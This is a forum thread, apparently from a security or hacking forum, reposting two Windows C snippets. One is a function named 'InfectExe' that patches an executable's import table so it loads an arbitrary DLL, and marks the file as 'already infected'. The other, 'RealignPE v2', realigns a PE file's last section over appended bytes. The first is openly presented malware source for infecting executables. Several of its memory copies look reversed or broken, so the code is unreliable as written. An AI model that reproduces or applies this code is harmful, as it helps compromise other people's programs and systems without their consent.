Jump to content
Nytro

[C] Function, which add DLL into import directory of EXE

Recommended Posts

[h=1][C] Function, which add DLL into import directory of EXE[/h]Author: picklock

#include <windows.h>

#define ALIGN_SIZE(x, y) ((x + (y-1)) & (~(y-1)))

unsigned long RVA2Offset(unsigned long ulBase, unsigned long ulRVA)
{
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_SECTION_HEADER pSection;
unsigned short i;

pNtHeaders = (PIMAGE_NT_HEADERS) ((unsigned long) ulBase + ((PIMAGE_DOS_HEADER) ulBase)->e_lfanew);
pSection = IMAGE_FIRST_SECTION(pNtHeaders);

for ( i = 0; i < pNtHeaders->FileHeader.NumberOfSections; ++i )
{
if ( (ulRVA >= pSection->VirtualAddress) &&
(ulRVA < pSection->VirtualAddress +
ALIGN_SIZE(pSection->Misc.VirtualSize, pNtHeaders->OptionalHeader.SectionAlignment)) )
{
return ulRVA - pSection->VirtualAddress + pSection->PointerToRawData;
}

++pSection;
}

return ulRVA;
}

PIMAGE_SECTION_HEADER RVA2Section(unsigned long ulBase, unsigned long ulRva)
{
PIMAGE_NT_HEADERS pNtHeader;
PIMAGE_SECTION_HEADER pSection;
unsigned short i;

pNtHeader = (PIMAGE_NT_HEADERS) (ulBase + ((PIMAGE_DOS_HEADER) ulBase)->e_lfanew);
pSection = IMAGE_FIRST_SECTION(pNtHeader);

for ( i = 0; i < pNtHeader->FileHeader.NumberOfSections; ++i )
{
if ( ulRva >= pSection->VirtualAddress &&
ulRva < pSection->VirtualAddress +
ALIGN_SIZE(pSection->Misc.VirtualSize, pNtHeader->OptionalHeader.SectionAlignment) )
{
return pSection;
}

++pSection;
}

return 0;
}

int InfectExe(const char *pExe, const char *pDll, const char *pFunc)
{
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_SECTION_HEADER pSection;
PIMAGE_IMPORT_DESCRIPTOR pImport;
PIMAGE_THUNK_DATA pThunk;
PIMAGE_IMPORT_BY_NAME pImportName;
HANDLE hTarget, hMapping;
PVOID pMapping;
unsigned long ulSize, ulOffset, ulDllSize, ulNewImportSize;
unsigned short i;

hTarget = CreateFile(pExe, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);

if ( hTarget == INVALID_HANDLE_VALUE )
return 0;

ulSize = GetFileSize(hTarget, 0);

if ( !ulSize )
{
CloseHandle(hTarget);
return 0;
}

hMapping = CreateFileMapping(hTarget, 0, PAGE_READWRITE, 0, ulSize, 0);

if ( !hMapping )
{
CloseHandle(hTarget);
return 0;
}

pMapping = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, 0);

if ( !pMapping )
{
CloseHandle(hMapping);
CloseHandle(hTarget);
return 0;
}

pDosHeader = (PIMAGE_DOS_HEADER) pMapping;
pNtHeaders = (PIMAGE_NT_HEADERS) ((unsigned long) pDosHeader + pDosHeader->e_lfanew);

if ( pNtHeaders->OptionalHeader.Win32VersionValue == 0x10F3C03D ) // already infected
{
UnmapViewOfFile(pMapping);
CloseHandle(hMapping);
CloseHandle(hTarget);
return 0;
}

pSection = IMAGE_FIRST_SECTION(pNtHeaders);
pImport = (PIMAGE_IMPORT_DESCRIPTOR) ((unsigned long) pMapping +
RVA2Offset((unsigned long) pMapping,
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress));

ulDllSize = (lstrlen(pDll) + 1) * sizeof(char);
ulNewImportSize = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size +
sizeof(IMAGE_IMPORT_DESCRIPTOR); // new size

for ( i = 0, ulOffset = 0; i < pNtHeaders->FileHeader.NumberOfSections; ++i )
{
if ( (pSection->SizeOfRawData - pSection->Misc.VirtualSize) >= ulNewImportSize )
{
ulOffset = (unsigned long) pMapping + pSection->PointerToRawData + pSection->Misc.VirtualSize;
break;
}

++pSection;
}

if ( !ulOffset ||
(pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size < (ulDllSize + 2*sizeof(IMAGE_THUNK_DATA) + 2 + (lstrlen(pFunc)+1)*sizeof(char))) )
{
UnmapViewOfFile(pMapping);
CloseHandle(hMapping);
CloseHandle(hTarget);
return 0;
}

// copy IMAGE_DIRECTORY_ENTRY_IMPORT to new place

memcpy(pImport, (void *) ulOffset, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size);
ZeroMemory((void *) (ulOffset + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size), sizeof(IMAGE_IMPORT_DESCRIPTOR));
ZeroMemory(pImport, pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size);

//copy dll name on prev import place and editing IMAGE_THUNK_DATA and IMAGE_IMPORT_BY_NAME

memcpy((void *) pDll, pImport, ulDllSize);

pThunk = (PIMAGE_THUNK_DATA) ((unsigned long) pImport + ulDllSize);
pImportName = (PIMAGE_IMPORT_BY_NAME) ((unsigned long) pImport + ulDllSize + 2*sizeof(IMAGE_THUNK_DATA));

pThunk->u1.AddressOfData = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + ulDllSize + 2*sizeof(IMAGE_THUNK_DATA);
pImportName->Hint = 0x0000;

ZeroMemory(pThunk+1, sizeof(IMAGE_THUNK_DATA));
memcpy((void *) pFunc, &pImportName->Name, (lstrlen(pFunc)+1)*sizeof(char));

// editing new IMAGE_IMPORT_DESCRIPTOR

pImport = (PIMAGE_IMPORT_DESCRIPTOR) (ulOffset + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size - sizeof(IMAGE_IMPORT_DESCRIPTOR));

pImport->OriginalFirstThunk = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + ulDllSize;
pImport->FirstThunk = pImport->Characteristics;
pImport->ForwarderChain = 0x00000000;
pImport->Name = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
pImport->TimeDateStamp = 0x00000000;

// new flags and charachteristics

pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = pSection->VirtualAddress + pSection->Misc.VirtualSize;
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = ulNewImportSize;
pNtHeaders->OptionalHeader.Win32VersionValue = 0x10F3C03D;

pSection = RVA2Section((unsigned long) pMapping, (unsigned long) pThunk - (unsigned long) pMapping);

pSection->Characteristics |= IMAGE_SCN_MEM_WRITE;

UnmapViewOfFile(pMapping);
CloseHandle(hMapping);
CloseHandle(hTarget);

return 1;
}

Sursa: http://www.hackhound.org/forum/index.php/topic/41147-c-function-which-add-dll-into-import-directory-of-exe/

Link to comment
Share on other sites

[h=1]RealignPE v2[/h]Author:

The Swash

/* 
-----------------------------------------------------------
- Function: RealignPE v2 -
- Programmer: The Swash -
- Web: http://www.h-sec.org -
- Dedicated: Thor, Psymera, Steve10120, [Zero], Karcrack -
-----------------------------------------------------------
*/

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define ReadWriteBinary "r+b"

int AlingNum(int num, int aling);
char * BytesAling(int number);

int main(void)
{
printf("%i ",RealignPE("C:\\hi.exe"));
getchar();

}

int RealignPE(char * lpFile)
{
IMAGE_DOS_HEADER IDH;
IMAGE_FILE_HEADER IFH;
IMAGE_OPTIONAL_HEADER IOH;
IMAGE_SECTION_HEADER ISH;

DWORD PESignature = 0;
FILE * lFile;
int OriSize = 0;
int ActSize = 0;
int Alingned = 0;

lFile = fopen(lpFile,ReadWriteBinary);
if (lFile == NULL) {return -1;}
else
{
fread(&IDH, 64, 1, lFile);
fseek(lFile, IDH.e_lfanew , SEEK_SET);
fread(&PESignature, 4, 1, lFile);
if (IDH.e_magic != IMAGE_DOS_SIGNATURE) {fclose (lFile); return -2;}
else
{
if(PESignature != IMAGE_NT_SIGNATURE) {fclose (lFile); return -3;}
else
{

fseek(lFile, IDH.e_lfanew + 4, SEEK_SET);
fread(&IFH, sizeof(IFH), 1, lFile);
fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH), SEEK_SET);
fread(&IOH, IFH.SizeOfOptionalHeader, 1, lFile);
fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH) + IFH.SizeOfOptionalHeader + (sizeof(ISH)*(IFH.NumberOfSections-1)),SEEK_SET);
fread(&ISH, sizeof(ISH), 1, lFile);
fseek(lFile, 0, SEEK_END);
ActSize = ftell(lFile);
OriSize = ISH.PointerToRawData + ISH.SizeOfRawData;
if (ActSize - OriSize > 0)
{
Alingned = AlingNum(ActSize - OriSize, IOH.FileAlignment);
ISH.SizeOfRawData += Alingned;
ISH.Misc.VirtualSize += Alingned;
IOH.SizeOfImage = ISH.Misc.VirtualSize + ISH.VirtualAddress;
IOH.SizeOfInitializedData += Alingned;
if (ISH.VirtualAddress == IOH.DataDirectory[2].VirtualAddress)
{
IOH.DataDirectory[2].Size += Alingned;
}
fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH), SEEK_SET);
fwrite(&IOH, 1, IFH.SizeOfOptionalHeader, lFile);
fseek(lFile, IDH.e_lfanew + 4 + sizeof(IFH) + IFH.SizeOfOptionalHeader + (sizeof(ISH)*(IFH.NumberOfSections-1)),SEEK_SET);
fwrite(&ISH, 1, sizeof(ISH), lFile);
if (Alingned - (ActSize - OriSize) > 0)
{
fseek(lFile, ActSize, SEEK_SET);
fwrite(BytesAling(Alingned-(ActSize - OriSize)), 1, Alingned-(ActSize - OriSize), lFile);
}
return 0;
}
else {return 1;}
}
}
}
}


int AlingNum(int num, int aling)
{
if(num % aling == 0)
{ return num; }
else if(num < aling)
{ return aling; }
else { return (num / aling) * aling + aling; }
}

char * BytesAling(int number)
{
char * sTemp = (char *) malloc(number + 1);
int i;
for (i=0; i<number; i++)
{
sTemp[i] = '\0';
}
return sTemp;
}

Sursa: http://www.hackhound.org/forum/index.php/topic/35985-csrc-realignpe-v2/

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...